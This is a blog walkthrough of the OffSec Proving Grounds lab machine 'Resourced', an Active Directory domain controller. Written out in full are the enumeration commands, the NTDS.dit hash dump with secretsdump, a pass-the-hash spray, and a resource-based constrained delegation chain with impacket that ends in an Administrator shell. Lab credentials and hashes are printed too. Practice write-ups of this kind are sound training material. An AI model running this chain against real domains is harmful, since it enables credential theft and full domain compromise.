Proving Grounds Practice — Resourced

Dpsypher
15 min readJan 24, 2024

--

This is an intermediate box on Offsec’s PG Practice but the community has rated this as Very Hard.

https://portal.offsec.com/labs/practice

Start with a Nmap scan:

sudo nmap -Pn -n $IP -sC -sV -p- --open

I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports only.

└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 12:15 EST
Nmap scan report for 192.168.226.175
Host is up (0.079s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-01-22 17:18:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=ResourceDC.resourced.local
| Not valid before: 2024-01-21T17:11:05
|_Not valid after: 2024-07-22T17:11:05
| rdp-ntlm-info:
| Target_Name: resourced
| NetBIOS_Domain_Name: resourced
| NetBIOS_Computer_Name: RESOURCEDC
| DNS_Domain_Name: resourced.local
| DNS_Computer_Name: ResourceDC.resourced.local
| DNS_Tree_Name: resourced.local
| Product_Version: 10.0.17763
|_ System_Time: 2024-01-22T17:19:21+00:00
|_ssl-date: 2024-01-22T17:20:01+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
Service Info: Host: RESOURCEDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2024-01-22T17:19:22
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

When the TCP scan finishes, immediately run a UDP scan.

sudo nmap -Pn -n $IP -sU --top-ports=100 --reason

Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.

┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]
└─$ sudo nmap -Pn -n $IP -sU --top-ports=100 --reason
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 12:25 EST
Nmap scan report for 192.168.226.175
Host is up, received user-set (0.082s latency).
Not shown: 97 open|filtered udp ports (no-response)
PORT STATE SERVICE REASON
53/udp open domain udp-response ttl 125
88/udp open kerberos-sec udp-response ttl 125
123/udp open ntp udp-response ttl 125

Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds

Okay cool, we received back both scans and both are useful. With UDP, the only port that is really useful to us is the NTP port. This matters because this machine is clearly a Domain Server using kerberos authentication which means that the Time has to be synced (within five minutes) between the machines. Let’s quickly synchronize our swatches so we don’t get caught up later. This doesn’t come up very often but it can really stop you in your tracks if you are not aware of it.

sudo ntpdate $IP

Moving on to the TCP scan, what do we see other than it’s a Domain Server?

We can see it has a domain named of ‘resourced.local’ as indicated on port 3389 (RDP). I like to add that to my /etc/hosts file right away.

There are so many goodies here to explore, I’ll start form the top.

Port 53 — DNS

We can try a domain transfer.

#This is the basic syntax

dig @$IP axfr domain.name

If this had hit, I would have used some other tools as well but it did not, so we move on.

Port 88 — Kerberos Authentication

I do not know of any way to enumerate or exploit this port. I would embrace further education in the comments.

Port 135 — Microsoft RPC

I discuss this a bit in my walkthough of Quackerjack. We can use RPCclient for queries.

rpcclient -U '' -N $IP

enumdomusers

This is an ideal outcome, pure gold. Now we have a list of Domain Username for our notes.

Ports 139,445 — SMB and/or Remote Management (especially with port 5985 which is also present.)

First I use enum4linux.

enum4linux $IP
Hey hey! Look at that!

We get a wealth of data back from this command that includes the usernames, as well as, some descriptions — one of which contains a password. We can add the credentials to our notes.

resourced\V.Ventz:HotelCalifornia194!

Also should we try to crack passwords or do a password spray, we get the password policy.

There is also a slew of group membership data which I will not include here.

Now for smbclient:

smbclient -N -L \\\\$IP\\

This may be only for Remote Management but I suppose we could check for shares with our new credentials.

smbclient -L \\\\$IP\\ -U resourced\\V.Ventz
That looks good!

This is definitely set up for remote management, but also what is that Password Audit share?

smbclient \\\\$IP\\'Password Audit' -U resourced\\V.Ventz -c 'recurse;ls'
This seems like a honeypot…

Is all of that really there for the taking? Ntds.dit, SYSTEM, and SECURITY (SAM likely) are highly prized and contain everything we need.

Amazingly, we were able to get all those files. Now we see if they are useful. We’ll use impacket-secretsdump.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
That’s what I’m talking about.

To filter out just the hashes I’m going to paste this section in a text document called ‘hashes’.

Then we can filter it for easy a copy/paste into crackstation by catting the hashes file and piping the output into a cut command where the delimiter is a colon ( : ) and only displaying field number 4.

cat hashes|cut -d : -f 4

The first two crack but the rest do not.

Those are administrator and guest. We can add this to our notes.

Administrator:ItachiUchiha888

Also keep in mind, we may be able to use any of these hashes to get access to the box, so long as, they are a valid user and that user is part of the Remote Management group. Let’s check by adding all the names to a file called names.txt and changing the contents of our hashes file to contain only hashes. Then we will use both names.txt and our revised hashes file with crackmapexec.

Finally the command:

crackmapexec winrm $IP -u names.txt -H hashes

This will produce a lot of output as crackmapexec tests each hash against each name.

Success!

We are rewarded with a combination that reads ‘Pwn3d!’ meaning we not only have access but it is administrator access. The new credentials for our notes are:

resourced.local\L.Livingstone:19a3a7550ce8c505c2d46b5e39d6f808

What about our other (Built-in) Administrator credentials? As any mouse will tell you, two ways in are better than one, let’s try them both.

First on RDP (Port 3389):

#Remember to escape the backslash with another backslash on the user name

xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:resourced.local\\L.Livingstone /pth:19a3a7550ce8c505c2d46b5e39d6f808 /v:$IP
Nope.

Now the Built-In Administrator:

xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:resourced.local\\Administrator /p:ItachiUchiha888 /v:$IP
Also Failed.

I just wanted to check, the thing is, with port 5985 I already knew that this is WinRM accessible or in our case — Evil-WinRM. We can try that now.

evil-winrm -i $IP -u Administrator -p "ItachiUchiha888"
Fail

Here we have cracked admin credentials but we were unable to access it. It is likely that the Built-In Administrator account has been disabled in favor of L.Livingston. We try that now.

evil-winrm -i $IP -u recourced.local\\L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808
Right as rain!

Get the flag.

What are our privileges?

This does not seem like an Administrator account, I think crackmapexec was fooled. At least we have ‘SeMachineAccountPrivilege’ as that can be quite good.

This is a good time to do the domain enumeration with SharpHound.exe. Using Evil-WinRM is fantastic because it has built-in upload and download functionality. We can just copy SharpHound.exe to our local present working directory and then up load it. Note that, you can upload it from where ever it is locally, I just like to have everything I use in my current working directory.

cp $(locate SharpHound.exe) .

As you are aware, SharpHound is one of many ingestors for Bloodhound. It extensively queries LDAP for useful all available domain policies and permissions. Which we we did not do from Nmap — maybe at the end we can do it just for kicks. Our plan is to run it, download the output to our Kali machine and then explore possible escalation paths via Bloodhound’s graphical interface.

.\Sharphound.exe --CollectionMethods All --Domain resourced.local --ExcludeDCs --OutputPrefix "Dork"

We want the zip file, starting with “Dork” as indicated by the argument — OutputPrefix “Dork”.

Download it.

Now to look at it in Bloodhound we need to start Neo4j.

sudo neo4j start

Browse to it to login. You may need to go to port 7687 as indicated to login. My credentials are stored so I’m logged in already.

Start Bloodhound. This tab will be taken over so be prepared.

I always have to clear the database from past uses.

Then we need to select upload data from the icon on the right.

Browse to your .zip file and open it.

That imports all the data into Bloodhound. Now we return to our Analysis. If you are new to Bloodhound and not sure what to do, I recommend you familiarize yourself with all of the Pre-Built queries. Get in the habit of running them all until these becomes familiar territory for you.

Also, it’s good form to Mark your Owned Principals by selecting the user whose credentials gave you access to the machine. If you start typing the name in the search field at the top, it will auto-populate for you.

Then if you Right-Click on the user representation, you can both mark it as Owned and Set it as your Starting Node.

Next on the Analysis tab we select ‘Shortest Path to Domain Admins from Owned Principals’.

We like this!

It discovered a route! This means it is possible. Now if we inspect the pathways between each icon by Right-Clicking and selecting Help, Bloodhound will guide us on the steps required for success.

Clicking on all the tabs will educate us on a couple of escalation methods but we discover that none of them will work.

The one terrible thing about Evil-WinRM is that it does not work with mimikatz. I have never found a work around but would cherish and answer. Does anyone know how to get around this incredibly frustrating error? I seem to find people using these two programs together with Evil-WinRM version 2.3 but I have not been successful myself. I am nearly certain there is a solution, please sound off in the comments!

The only way out is to CRTL+C

We are going to move on for now. Let’s return to Bloodhound and keep looking.

If we select ‘Shortest Paths to Unconstrained Delegation Systems’ it brings up something useful.

Our ‘Owned Principal’ has ‘Generic All’ permissions to the ‘Account Operators’ group. This is the highest level of privilege. ChatGPT describes the function of the this groups as follows:

“In a Windows Domain network, the ‘Account Operators’ group is a built-in group that holds certain administrative privileges related to user accounts. The primary function of the ‘Account Operators’ group is to manage user accounts, including their creation, modification, and deletion, but with some limitations compared to higher privileged groups like ‘Domain Admins’ or ‘Enterprise Admins.’

Members of the ‘Account Operators’ group typically have the following responsibilities:

  1. Create, modify, and delete user accounts: Members can perform basic administrative tasks related to user accounts, such as creating new accounts, modifying existing account properties, and deleting accounts.
  2. Create, modify, and delete group accounts: Similar to user accounts, members can manage group accounts. They can create new groups, modify group properties, and delete groups.
  3. Log on to domain controllers: Members of the ‘Account Operators’ group are allowed to log on to domain controllers, which are central servers in a Windows Domain network responsible for authentication and authorization.

It’s important to note that while the ‘Account Operators’ group provides certain administrative capabilities, it doesn’t grant full control over the entire domain. Members of this group are restricted in performing certain critical administrative functions that are typically reserved for higher privileged groups.”

That sound super useful for our devious purposes.

Let’s upload and import powerview.ps1 to better manipulate our environment.

If we type ‘menu’ into the command prompt, we are greeted with a long list of possible commands.

We want to confirm our ‘Generic All’ privileges. The command is not listed here. I just think the menu and options are nifty, something we should be aware of. The command is:

Get-ObjectAcl -SamAccountName l.livingstone -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

The output we are most interested in is:

Note that the SID ends in ‘519’.

Great! How to we exploit this misconfiguration?

We cab Right-Click on the ‘Generic All’ connection to bring up the help menu.

These permissions will allow us to Read and Write Properties on a target (new) machine account.

There are also two methods of abuse (Windows and Linux) that can be followed. These are interesting to me because they were not present when I initially compromised this machine. Please read them as we are going to follow the same idea via a different method. I may try to do those later, but for now we will use the implied Resource-Based Constrained Delegation (RBCD) to create a new machine account and get the DC to trust it.

I find it amusing that I just did this box a few months ago and now I have discovered new methods and an excellent new tool to perform RBCD called StandIn.exe (more on that later).

I originally used impacket-addcomputer to exploit this machine as follows.

impacket-addcomputer resourced.local/l.livingstone -dc-ip $IP -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'DORK$' -computer-pass 'Dork123!'

As you can see by the command, we add a new computer named ‘Dork$’ with a password of ‘Dork123!’.

Now with this newly created machine, weneed a way of managing the delegation rights. We can use this rbcd.py script to configure its attribute ‘msDS-AllowedToActOnBehalfOfOtherIdentity’

The command is:

python3 rbcd.py -dc-ip $IP -t RESOURCEDC -f 'DORK' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone

Now we can get a service ticket for the administrator. We will again use impacket.

impacket-getST -spn cifs/resourcedc.resourced.local resourced/dork\$:'Dork123!' -impersonate Administrator -dc-ip $IP

Finally, now that we have the credential saved:

We can get an Administrative shell on the box with psexec using the following commands.

First we need to store it as an environmental variable:

export KRB5CCNAME=./Administrator.ccache

Then we need to make sure that this specific machine is part of our /etc/hosts file.

Finally, we can connect.

sudo impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.168.175

That’s it, easy right? Just kidding. That was not at all easy for me and I feel out of my league with this challenge. It highlights the fact that I still have a lot to learn. Thank you for reading and thank you to all the people who helped be learn to exploit this machine. Speaking of, while doing this write-up I found new resources, of particular interest is a tool called StandIn.exe developed by FuzzySecurity.

FuzzySecurity is Top-Shelf and worth diving as deeply into as you have time.

For a video of this tool in action you can go to https://www.youtube.com/watch?v=xMTCZt5DRB0. As you will see it is quite impressive and something I will now carry in my toolbox.

Epilogue: We never enumerated LDAP on this machine! This would not fly in a penetration test, let’s do it real quick right now. While we did that in essence with the Bloodhound ingestor, we should have poked it from the outside as well.

Port 389 (636,3268,3269) — LDAP

First we want get the base naming context.

ldapsearch -H ldap://$IP -x -s base namingcontexts

Next we try to grab as much as possible. This can be quite extensive, so I always redirect it to a file for easy searching later.

ldapsearch -H ldap://$IP -x -b"DC=resourced,DC=local" > ldap_dump.txt

It appears that this was secured from anonymous use. What about our initial credentials?

After fiddling with the syntax for awhile, it was a no-go. It doesn’t make sense that I could use an Ingestor while logged in with these credentials, I must be doing something wrong, sigh. I guess I’ll leave the POST-exploitation rabbit-hole alone (and have it bug me until I figure it out).

--

--

Dpsypher

Google IT Support/CompTIA A+, CompTIA Security+, IBM Security Analyst, AWS Cloud Practitioner, CCNA, CEH: Master, OSCP (93% in class, practicing for test)